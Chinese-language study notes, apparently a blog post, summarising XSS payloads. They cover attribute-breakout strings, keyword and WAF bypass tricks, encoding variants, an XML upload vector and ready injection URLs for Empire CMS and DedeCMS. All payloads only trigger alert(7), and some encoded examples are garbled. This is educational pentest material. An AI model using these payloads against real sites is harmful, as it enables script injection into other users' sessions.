总结到最后还是有点乱, 将就看吧, 呜呜呜~
有错误还请指出.
基础知识
弹窗的三个函数
alert(7)prompt(7)confirm(7)
on事件
这里太多了, 没必要列完, 真用到其他事件时百度即可.
onerror 错误onload 加载onclick 点击onchange 域的内容被改变onblur 元素失去焦点onfocus 元素获得焦点onmouseover 鼠标移到某元素之上onmousemove 鼠标被移动onmouseout 鼠标从某元素移开onmousedown 鼠标按钮被按下onreset 重置按钮被点击onsubmit 确认按钮被点击onselect 文本被选中
伪协议
JavaScript伪协议
//值为url类型的标签属性均可使用javascript伪协议, 如href/src/action//JavaScript伪协议声明了URL的主体是任意的javascript代码//它由javascript的解释器执行,并将结果返回给当前的页面。//示例233//a标签的href属性值为: alert(7), 页面加载时,由javascript解释器解析//当a标签被点击时, 会触发href属性, 解析的代码被执行
data伪协议
data:text/html, data:text/html;base64,data:text/javascript,data:text/javascript;base64,
关于编码
编码类型/示例字符 | < | s |
html实体编码(10进制) | < | s |
html实体编码(16进制) | < | s |
javascript编码(8进制) | \74 | \163 |
javascript编码(16进制) | \x3c | \x73 |
jsunicode编码 | \u003c | \u0073 |
url编码 | %3C | %73 |
base64编码 | PA== | cw== |
实体编码中是可以去掉的. 如 s --> s
实体编码中可添加多个<0>.如 s --> s (绕waf可能会用上)
javascript编码(8进制) 较上述编码中, 相对简短.
Payload大全
XSS速查表
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
写入弹窗函数的js文件外链
https://xss.haozi.me/j.js
XSS快速定位
';`">ddd
圆括号被过滤
弹窗函数被过滤
eval("\x61\x6c\x65\x72\x74\x28\x31\x29")eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029")eval(String.fromCharCode(97,108,101,114,116,40,55,41))top['al'+'ert'](7)self['al'+'ert'](7)window['al'+'ert'](7)
关于autofocus自动触发on事件
onfocus: 元素获得焦点
autofocus: 自动获得焦点
两者结合便能够实现自动触发弹窗, 但需要注意的是, 它会陷入一个死循环, 无限弹窗.
关于location的各种变形绕关键字
location中的内容会进入JS语法部分, 所以这里支持字符串拼接, JS各种编码等操作, 在浏览器解析的时候, 会自动将这部分内容进行解码.
location本身可以进行实体编码, js编码
具体原理可百度
允许构造标签
敏感标签被过滤
onload, onerror, onfocus全部被过滤请跳过这里
不常见的on事件
on事件全部被过滤
无法构造标签
大多数时候, 尖括号会被过滤, 我们无法构造标签...
但却能通过引号闭合某些标签中的属性值, 从而构造on事件属性, 实现XSS
标签内
正常能控制的是type属性
" onfocus=alert(7) autofocus x="" onmouseover=alert(7) x="" onmousemove=alert(7) x="
常见位置: 搜索框
标签内
正常能控制的是href属性
情况一: 只能控制href部分的输入
" onmouseover=alert(7) x="" onmousemove=alert(7) x="
这里举个栗子
原url: http://www.xxx.com/search.aspx输入2333: http://www.xxx.com/search.aspx/2333审查元素看到2333在标签中被输出1输入payload: http://www.xxx.com/search.aspx/2333" onmouseover=alert(7) x="再次审查元素查看1结束!实际中很少有这么顺利的, 往往闭合后还需要绕一些关键字哈哈
情况二: 能够控制整个href属性
这种情况就好多了, 首先不需要考虑闭合了, 直接使用JS伪协议.
javascript:alert(7)
常见位置: 分页按钮
这种可以尝试在当前页面url后面进行闭合, 审查元素看看有没有变化
hidden属性的标签内
" accesskey=X onclick=alert(7) x="" onmousemove=alert(7) type="
这里举个栗子
补充一种很少见但实际遇到过的绕过WAF的情况
<inputtype="hidden"value="aaa" abc accesskey="X"οnclick="alert(7)"x="">
这里穿插了一个abc无效属性绕过了WAF
不添加的话会直接被拦截, 网站无响应
在payload中穿插无效的属性, 可能会绕过WAF的正则匹配, 遇到被WAF拦截的情况时可以尝试下
XML_XSS
如果允许上传xml格式, 可将下面Payload保存为xml文件并上传, 访问即可触发弹窗.
PS: ueditor编辑器默认是可以上传xml文件的, 大家遇到可以试下.
将如下payload保存为xml文件, 上传到服务器并访问即可触发弹窗
过滤器绕过
大小写绕过
注意: JS严格区别大小写, HTML不区分大小写
可以测试下 行不行
双写绕过
alert(7)
特殊字符混淆绕过
常用特殊字符:

 (H5新实体编码,表示回车): (H5新实体编码,表示冒号)( (左圆括号)) (右圆括号)`` (反引号可代替左右圆括号)%0a (回车)%0d (换行)%09%0b%0c
编解码绕过
能力有限, 想来想去这里真的总结不好, 关于编码的变形实在是太多...
上述所有的Payload基本都可以通过编码或者js语法来变形, 但编码绕过的情况个人感觉也不是很多
后面有机会再做下这部分的学习与总结
CMS通用XSS漏洞
帝国CMS
/e/ViewImg/index.html?url=javascript:alert(7)
织梦CMS
/dede/login.php?gotopage=%22%3E%3Ca%20href=javascrip%26%2338%3B%26%2335%3B%26%2349%3B%26%2349%3B%26%2354%3B%26%2359%3B:alert(7);%3E
参考文章
https://www.cnblogs.com/xiaozi/p/5588099.html
https://www.jianshu.com/p/cfdf1747d30e
https://www.jianshu.com/p/6ce1ab9ec9f7
https://www.jianshu.com/p/60d8c9433b37
下篇写下关于XSS常见疑惑问题的一些解答
说明:
文章即为学习笔记, 不保证内容完全准确, 上文中的链接均为参考文章可进一步深入学习, 文中如有错误还请多指出, 共同进步.